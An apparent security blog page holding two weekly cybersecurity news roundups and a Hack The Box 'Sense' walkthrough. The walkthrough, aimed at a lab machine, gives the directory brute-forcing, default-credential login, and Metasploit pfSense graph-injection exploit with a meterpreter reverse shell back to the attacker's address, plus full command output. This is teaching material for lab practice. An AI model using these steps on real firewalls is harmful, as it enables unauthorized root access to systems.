7/05/2025

CyberChannel: Week of 6/29/25

Leaks Hint at ChatGPT's Web Automation Future with New AI Tool 

Leaks hint that advanced AI tools in ChatGPT, potentially part of GPT-5, are in development, enabling web automation through browser interactions like clicking and typing. This innovative feature from OpenAI suggests a significant leap in ChatGPT's capabilities, allowing it to perform tasks previously requiring human intervention. The integration of such an "Operator-like" tool could redefine how users interact with AI assistants for complex online activities.

Major IT Distributor Ingram Micro Hit by Widespread System Outage 

Ingram Micro, a leading IT distributor, suffered a global outage impacting its websites and crucial internal systems, causing significant system downtime and preventing customer orders. The company has remained silent on the cause, fueling speculation among customers and within the industry about a potential cyberattack. While ransomware attack claims remain unconfirmed, the prolonged nature of this disruption and the shutdown of internal infrastructure are often tell-tale signs of a security breach at major corporations like Ingram Micro. 

IdeaLab Confirms Data Stolen in Last Year's Ransomware Attack

IdeaLab has confirmed a data breach from a ransomware attack last October, where the Hunters International group stole and leaked 262.8 GB of sensitive data belonging to current and former employees and contractors. While the direct download link for the stolen data is now offline and Hunters International claims to be shutting down, cybersecurity experts suggest a potential rebrand to a new operation, "World Leaks." In response to the cybersecurity incident, the startup incubator is offering affected individuals comprehensive identity theft protection and dark web monitoring services.

CVE-2025-20309: Cisco Fixes Backdoor Root Account in Communications Manager 

Cisco has patched a critical security vulnerability, tracked as CVE-2025-20309, by removing a dangerous backdoor root account from its Unified Communications Manager (Unified CM) products. This high-severity flaw enabled unauthenticated remote attackers to gain complete root access, posing a significant cybersecurity risk to affected network security systems. Administrators are urged to apply the necessary patch or upgrade to secure their infrastructure, as this incident underscores ongoing concerns about hardcoded credentials in enterprise solutions. 

CVE-2025-6463: Forminator Bug Puts 600,000+ WordPress Sites at Risk of Takeover 

A critical WordPress plugin security vulnerability, CVE-2025-6463, in the Forminator plugin exposes over 600,000 WordPress websites to full site takeover attacks. This severe flaw, found in versions up to 1.44.2, allows attackers to delete essential WordPress files, forcing a site into a re-installation state and enabling a website hack. To protect against this cybersecurity threat, users are urgently advised to perform a plugin update to Forminator version 1.44.3 or deactivate the plugin immediately to bolster their WordPress security. 

New FileFix Malware Evades Windows MoTW Alerts 

A novel "FileFix attack" is circumventing Windows security measures, enabling malicious JScript to execute while bypassing Mark of the Web (MoTW) alerts. This cybersecurity threat leverages social engineering to trick users into saving specially crafted HTML pages as HTML Applications (.HTA), which then run embedded malware scripts without warning. The MoTW bypass occurs because .HTA files are legacy formats and "Webpage, Complete" HTML files lack the MoTW tag. To enhance Windows security against this phishing and social engineering technique, users should consider disabling 'mshta.exe' and ensuring file extensions are visible. 

CVE-2025-6554: Google Fixes New Zero-Day Vulnerability 

Google has swiftly deployed an emergency security update for Google Chrome, addressing CVE-2025-6554, the fourth actively exploited zero-day vulnerability found this year. This critical type confusion flaw in the Chrome V8 JavaScript engine was detected by Google's Threat Analysis Group, indicating potential exploitation by government-sponsored threat actors using spyware. Users on Windows, Mac, and Linux are urged to update their web browser security immediately, as this swift response highlights Google's continuous efforts to counter advanced cybersecurity threats, though specific details of the attacks remain confidential. 

Germany Demands DeepSeek AI Removal from Google & Apple App Stores Over GDPR 

Germany is actively pushing Google and Apple to remove the DeepSeek AI application from their app stores due to significant GDPR violations. The Berlin Commissioner for Data Protection alleges that DeepSeek's owner unlawfully collects German user data and transfers it to Chinese servers, where data protection standards are not compliant with EU regulations. Despite the AI app's popularity, DeepSeek refused a voluntary removal request, leading German authorities to invoke Article 16 of the Digital Services Act (DSA).

Medical Identity Theft Alert: FBI Cautions Against Healthcare Impersonation Scams 

The FBI has issued an urgent cybersecurity warning to Americans about a surge in healthcare imposter scams designed to steal sensitive health data and financial information. Cybercriminals are actively phishing for patient data by impersonating legitimate healthcare fraud investigators through deceptive emails and text messages. These social engineering attacks pressure victims to disclose protected health information and financial details, contributing to a rise in medical identity theft. The FBI advises vigilance against unsolicited requests, avoiding suspicious links, and verifying all communications directly with health insurance providers to prevent becoming a victim of these sophisticated scams. 

CVE-2025-5777: Unpatched Citrix Servers Exposed to Critical Authentication Bypass

Over 1,200 Citrix servers remain unpatched against a critical authentication bypass vulnerability, CVE-2025-5777, now dubbed "Citrix Bleed 2," posing a severe cybersecurity threat. This flaw in Citrix NetScaler ADC and NetScaler Gateway appliances allows unauthenticated attackers to bypass multi-factor authentication and hijack user sessions, leading to potential network security breaches. While not officially confirmed by Citrix, evidence suggests active zero-day exploitation of this flaw. Organizations with unpatched Citrix appliances are urgently advised to apply the latest security updates and enhance monitoring to mitigate the risk of Citrix exploitation. 

Airoha Chip Vulnerabilities: Critical Bluetooth Flaws Enable Eavesdropping and Data Theft 

A series of critical Bluetooth security flaws (CVE-2025-20700, CVE-2025-20701, CVE-2025-20702) have been identified in Airoha chips, which are widely used across popular audio devices including headphones, earbuds, and speakers from major brands like Beyerdynamic, Bose, and Sony. These severe vulnerabilities could enable skilled attackers, operating within close physical proximity, to execute sophisticated eavesdropping attacks. This means that private conversations could be intercepted, and sensitive information such as call histories and contact lists could be stolen, posing a significant cybersecurity threat to personal data and microphone privacy.

The flaws extend beyond mere surveillance, potentially allowing malicious actors to rewrite device firmware for remote code execution. This level of compromise could grant attackers complete control over affected devices, hijacking connections or even initiating calls to arbitrary numbers. While Airoha has released an updated SDK with critical mitigations, and some manufacturers are beginning to roll out firmware updates, many vulnerable audio devices still await these essential patches, leaving users exposed to these pervasive Bluetooth vulnerabilities.

6/27/2025

CyberChannel: Week of 6/22/25

REvil Hackers Walk Free After Serving Carding Sentences

Several members of the REvil ransomware group have been released by Russia after serving time for charges related to carding and malware distribution. Four individuals were released after their sentences were considered served during their pre-trial detention. Meanwhile, four other members received prison sentences ranging from 4.5 to 6 years after refusing to plead guilty. REvil, also known as Sodin and Sodinokibi, was a prominent ransomware group that emerged in 2019, but its operations were significantly disrupted following the 2021 Kaseya supply chain attack, which led to international law enforcement actions and arrests in both the U.S. and Russia. However, cybersecurity communication channels between the U.S. and Russia ceased after Russia's invasion of Ukraine.

DHS Warns of Increased Iranian Cyberattack Threats 

The U.S. Department of Homeland Security (DHS) recently issued a National Terrorism Advisory System bulletin, highlighting escalating Iranian cyber attack risks. This warning underscores a "heightened threat environment" in the United States, with potential "low-level" cyber attacks targeting U.S. networks from Iran-backed hacking groups and pro-Iranian hacktivists. The DHS also cautions against the mobilization of violent extremists. This advisory follows previous Iranian government cyber attacks on U.S. infrastructure and a recent alert from U.S., Canadian, and Australian authorities regarding Iranian hackers acting as initial access brokers. Notably, the state-sponsored Iranian group Br0k3r (also known as Pioneer Kitten) sells initial access to breached networks. This crucial cybersecurity warning likely stems from recent U.S. actions against Iranian nuclear facilities, prompting threats of "everlasting consequences" from Iran.

Canadian Telecom Hacked: Salt Typhoon Exploits Cisco Flaw 

The Chinese state-sponsored hacking group 'Salt Typhoon' successfully breached a Canadian telecommunication firm in February 2025. This sophisticated cyberattack leveraged an unpatched, critical Cisco IOS XE vulnerability (CVE-2023-20198), enabling the threat actors to create administrative accounts and achieve elevated privileges. With this access, 'Salt Typhoon' retrieved and modified configuration files, subsequently establishing a GRE tunnel for illicit traffic collection. Both the Canadian Centre for Cyber Security and the FBI have confirmed this incident. As 'Salt Typhoon' continues its reconnaissance and targeting across various critical sectors, urgent calls are being made for organizations, particularly telecommunication providers, to strengthen their network defenses against persistent state-sponsored espionage.

Russian APT28 Group Leverages Signal for Ukraine Cyberattacks 

Russian state-sponsored hacking group APT28 (UAC-0001) is exploiting Signal chats to launch sophisticated malware attacks targeting Ukrainian government entities. These attacks deploy novel malware families, BeardShell and SlimAgent, delivered via malicious documents in Signal messages. While not a Signal vulnerability, this method leverages the platform's popularity for phishing. The campaign involves a backdoor named Covenant, which loads BeardShell for PowerShell script execution and data exfiltration, alongside the SlimAgent screenshot grabber. This highlights APT28's ongoing cyberespionage efforts against Ukraine and Western nations. Organizations should monitor for these advanced persistent threats.

New FileFix Attack Leverages File Explorer for Covert PowerShell Commands

A new social engineering threat, the "FileFix attack," is emerging, weaponizing Windows File Explorer to execute stealthy PowerShell commands. Developed by cybersecurity researcher mr.d0x, this variant of the "ClickFix" technique deceives users on phishing pages. Victims are tricked into clicking an "Open File Explorer" button, which copies a malicious PowerShell command to their clipboard. By using a clever concatenation with a dummy file path and PowerShell comments, attackers conceal the malicious code within File Explorer's address bar. This simple yet effective cyber attack method, leveraging a common Windows utility, is anticipated to be rapidly adopted by threat actors for malware deployment, mirroring the success of prior ClickFix campaigns by groups like North Korea's 'Kimsuky'. Businesses should be aware of this evolving social engineering tactic. 

Malicious npm Packages: North Korea's Latest Supply Chain Attack Uncovered 

A sophisticated supply chain attack, directly linked to North Korea and dubbed the "Contagious Interview" operation, is actively distributing 35 highly malicious npm packages. Cybersecurity researchers at Socket recently uncovered these packages, which have already garnered over 4,000 downloads, signifying a significant threat to the developer community. The attack's initial phase involves a hex-encoded loader, HexEval, gathering host intelligence. This loader then deploys BeaverTail, a JavaScript-based data stealer, followed by the InvisibleFerret Python backdoor, enabling comprehensive data exfiltration, keylogging, and remote control capabilities over compromised systems.

This state-sponsored cyber espionage campaign meticulously targets developers through elaborate social engineering tactics. Attackers leverage fake recruiter profiles on platforms like LinkedIn, enticing victims with fraudulent coding assignments embedded within projects on GitHub or Bitbucket. Developers are then persuaded to execute these projects in non-sandboxed environments during simulated interview processes, bypassing typical cybersecurity defenses. This multi-stage APT attack showcases an evolving and well-resourced adversary, blending advanced malware delivery, OSINT-driven targeting, and deceptive social engineering to infiltrate trusted development ecosystems for cryptocurrency theft and sensitive data exfiltration.

British National "IntelBroker" Faces US Charges for $25 Million Data Breaches 

British national Kai West, known prominently as "IntelBroker," faces U.S. charges for global data theft breaches, incurring an estimated $25 million in cybercrime damages. The 25-year-old is accused of stealing and illicitly selling sensitive data, including health records and internal files, from a broad range of victims, including government agencies, major corporations, and critical infrastructure, frequently leveraging the BreachForums hacking forum. IntelBroker's alleged activities are linked to high-profile cyberattacks against entities like Europol, General Electric, AMD, and HPE. West's indictment includes conspiracy to commit computer intrusions and wire fraud, with the FBI confirming his identity via Bitcoin transaction tracing. Arrested in France in February 2025, the U.S. is seeking extradition to New York for this significant cybercriminal. 

"Security Consultant" Pleads Guilty to Hacking Clients He Sought 

Nicholas Michael Kloster, a 32-year-old from Kansas City, has pleaded guilty to hacking multiple organizations, including a health club and a Missouri nonprofit, in a scheme to promote his cybersecurity services. Kloster's methods involved breaching networks, then contacting victims to detail his unauthorized access to systems like security cameras and router settings, subsequently offering his services. He also admitted to stealing sensitive data, installing VPNs on compromised networks, and acquiring hacking tools using stolen credit card information. Kloster now faces a potential five-year federal prison sentence, a substantial fine, and restitution for his cybercrime activities.

Ahold Delhaize Hacked: 2.2 Million Records Exposed in Ransomware Attack 

Food retail giant Ahold Delhaize recently confirmed a data breach impacting over 2.2 million individuals. This ransomware attack, occurring in November 2024, led to the compromise of personal, financial, and health data from its U.S. systems. The stolen information includes names, contact details, dates of birth, government IDs, and financial records. While Ahold Delhaize, operating major brands like Food Lion and Stop & Shop, hasn't officially named the perpetrators, the INC Ransom ransomware group claimed responsibility, leaking alleged stolen documents.

10/07/2024

HTB: Sense

 ___  ___  _________  ________                         
|\  \|\  \|\___   ___\\   __  \  ___                   
\ \  \\\  \|___ \  \_\ \  \|\ /_|\__\                  
 \ \   __  \   \ \  \ \ \   __  \|__|                  
  \ \  \ \  \   \ \  \ \ \  \|\  \  ___                
   \ \__\ \__\   \ \__\ \ \_______\|\__\               
    \|__|\|__|    \|__|  \|_______|\|__|               
 ________  _______   ________   ________  _______      
|\   ____\|\  ___ \ |\   ___  \|\   ____\|\  ___ \     
\ \  \___|\ \   __/|\ \  \\ \  \ \  \___|\ \   __/|    
 \ \_____  \ \  \_|/_\ \  \\ \  \ \_____  \ \  \_|/__  
  \|____|\  \ \  \_|\ \ \  \\ \  \|____|\  \ \  \_|\ \ 
    ____\_\  \ \_______\ \__\\ \__\____\_\  \ \_______\
   |\_________\|_______|\|__| \|__|\_________\|_______|
   \|_________|                   \|_________|         
                                                            

Hack The Box's Sense is an Easy OpenBSD machine that features pfSense, an open-source firewall software. This machine uses basic directory brute-forcing using Gobuster to search for a user credential text file to gain access to the firewall, followed by an injection attack to gain root access to the machine.

Once starting the machine on HTB and connecting to your HTB VPN, we will start by opening our terminal and pinging the machine's IP address to make sure the network is up. Make sure the IP address you enter matches the one displayed on HTB when you boot up the target machine.

ping 10.10.10.60

You should receive responses from the IP address. You can press CTRL + C to stop sending packets to the target host. Once confirming the network is up and running, it's time to move to enumeration using Nmap.

Start by doing a quick service scan using Nmap. We will use the -sV switch to enable version detection. You can learn more about Nmap here.

nmap -sV 10.10.10.60
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-02 11:17 CDT
Nmap scan report for 10.10.10.60
Host is up (0.0091s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT    STATE SERVICE    VERSION
80/tcp  open  http       lighttpd 1.4.35
443/tcp open  ssl/https?

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.98 seconds

We can see a web server running. Let's navigate to the site by entering the target's ip address in our web browser. Upon inspection we can see a login page for pfSense, an open-source firewall software based in FreeBSD. We can complete a quick Google search for the default credentials for pfSense and find the default username is "admin" and the password is "pfsense". When trying these default credentials, we are notified they are not correct. Let's move on to using Gobuster to brute-force directories on the server. We'll search for .php and .txt files using the directory-list-2.3-medium.txt wordlist.

gobuster dir -u https://10.10.10.60/ -t 50 -x php,txt -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://10.10.10.60/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 200) [Size: 6690]
/help.php             (Status: 200) [Size: 6689]
/themes               (Status: 301) [Size: 0] [--> https://10.10.10.60/themes/]
/stats.php            (Status: 200) [Size: 6690]
/css                  (Status: 301) [Size: 0] [--> https://10.10.10.60/css/]
/edit.php             (Status: 200) [Size: 6689]
/includes             (Status: 301) [Size: 0] [--> https://10.10.10.60/includes/]
/license.php          (Status: 200) [Size: 6692]
/system.php           (Status: 200) [Size: 6691]
/status.php           (Status: 200) [Size: 6691]
/javascript           (Status: 301) [Size: 0] [--> https://10.10.10.60/javascript/]
/changelog.txt        (Status: 200) [Size: 271]
/classes              (Status: 301) [Size: 0] [--> https://10.10.10.60/classes/]
/exec.php             (Status: 200) [Size: 6689]
/widgets              (Status: 301) [Size: 0] [--> https://10.10.10.60/widgets/]
/graph.php            (Status: 200) [Size: 6690]
/tree                 (Status: 301) [Size: 0] [--> https://10.10.10.60/tree/]
/wizard.php           (Status: 200) [Size: 6691]
/shortcuts            (Status: 301) [Size: 0] [--> https://10.10.10.60/shortcuts/]
/pkg.php              (Status: 200) [Size: 6688]
/installer            (Status: 301) [Size: 0] [--> https://10.10.10.60/installer/]
/wizards              (Status: 301) [Size: 0] [--> https://10.10.10.60/wizards/]
/xmlrpc.php           (Status: 200) [Size: 384]
/reboot.php           (Status: 200) [Size: 6691]
/interfaces.php       (Status: 200) [Size: 6695]
/csrf                 (Status: 301) [Size: 0] [--> https://10.10.10.60/csrf/]
/system-users.txt     (Status: 200) [Size: 106]
/filebrowser          (Status: 301) [Size: 0] [--> https://10.10.10.60/filebrowser/]

After some time, we will notice a /systems-users.txt, highlighted above in orange. This file is interesting because there could be user login information within the text file. We can view this file by navigating to the path on the web server by using our web browser. On my spawned HTB machine it would be https://10.10.10.60/system-users.txt. We get the following page with a support ticket containing credentials:

####Support ticket###

Please create the following user


username: Rohit
password: company defaults

We see the username listed as "Rohit" and the password as "company defaults". After testing these credentials on the pfSense login page, we see we are not granted access. But let's try the default pfSense password, "pfsense". Upon using these credentials we see we are granted access!

Let's fire-up Metasploit and search for potential exploits for pfSense:

msfconsole
Metasploit tip: To save all commands executed since start up to a file, use the 
makerc command
                                                  
 _                                                    _
/ \    /\         __                         _   __  /_/ __
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
      |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\


       =[ metasploit v6.3.44-dev                          ]
+ -- --=[ 2376 exploits - 1232 auxiliary - 416 post       ]
+ -- --=[ 1391 payloads - 46 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

[msf](Jobs:0 Agents:0) >> search pfsense

Matching Modules
================

   #  Name                                            Disclosure Date  Rank       Check  Description
   -  ----                                            ---------------  ----       -----  -----------
   0  exploit/unix/http/pfsense_clickjacking          2017-11-21       normal     No     Clickjacking Vulnerability In CSRF Error Page pfSense
   1  exploit/unix/http/pfsense_diag_routes_webshell  2022-02-23       excellent  Yes    pfSense Diag Routes Web Shell Upload
   2  exploit/unix/http/pfsense_config_data_exec      2023-03-18       excellent  Yes    pfSense Restore RRD Data Command Injection
   3  exploit/unix/http/pfsense_graph_injection_exec  2016-04-18       excellent  No     pfSense authenticated graph status RCE
   4  exploit/unix/http/pfsense_group_member_exec     2017-11-06       excellent  Yes    pfSense authenticated group member RCE
   5  exploit/unix/http/pfsense_pfblockerng_webshell  2022-09-05       great      Yes    pfSense plugin pfBlockerNG unauthenticated RCE as root


Interact with a module by name or index. For example info 5, use 5 or use exploit/unix/http/pfsense_pfblockerng_webshell

[msf](Jobs:0 Agents:0) >> 

We see option #3 shows a module for an injection attack granting authentication. You can read more about this specific exploit on Rapid7's website here. Let's select this attack and fill out the required exploit options:

use 3
[*] Using configured payload php/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(unix/http/pfsense_graph_injection_exec) >> options

Module options (exploit/unix/http/pfsense_graph_injection_exec):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD  pfsense          yes       Password to login with
   Proxies                    no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit
                                        /basics/using-metasploit.html
   RPORT     443              yes       The target port (TCP)
   SSL       true             no        Negotiate SSL/TLS for outgoing connections
   USERNAME  admin            yes       User to login with
   VHOST                      no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

[msf](Jobs:0 Agents:0) exploit(unix/http/pfsense_graph_injection_exec) >> set RHOSTS 10.10.10.60
RHOSTS => 10.10.10.60
[msf](Jobs:0 Agents:0) exploit(unix/http/pfsense_graph_injection_exec) >> set USERNAME rohit
USERNAME => rohit
[msf](Jobs:0 Agents:0) exploit(unix/http/pfsense_graph_injection_exec) >> set LHOST tun0
LHOST => 10.10.14.6
[msf](Jobs:0 Agents:0) exploit(unix/http/pfsense_graph_injection_exec) >> 

We set the RHOSTS to the target ip address, the USERNAME to "rohit", and the LHOST to our desired listening ip address for the reverse TCP connection. We can now run this exploit using "exploit":

exploit

[*] Started reverse TCP handler on 10.10.14.6:4444 
[*] Detected pfSense 2.1.3-RELEASE, uploading intial payload
[*] Payload uploaded successfully, executing
[*] Sending stage (39927 bytes) to 10.10.10.60
[+] Deleted uz
[*] Meterpreter session 1 opened (10.10.14.6:4444 -> 10.10.10.60:53021) at 2024-10-02 12:06:53 -0500

(Meterpreter 1)(/var/db/rrd) > getuid
Server username: root
(Meterpreter 1)(/var/db/rrd) > 

Once the reverse TCP connection is successful, we can use the "getuid" command to see we now have root access to the machine! You can now navigate through the target system to obtain the root and user .txt flags.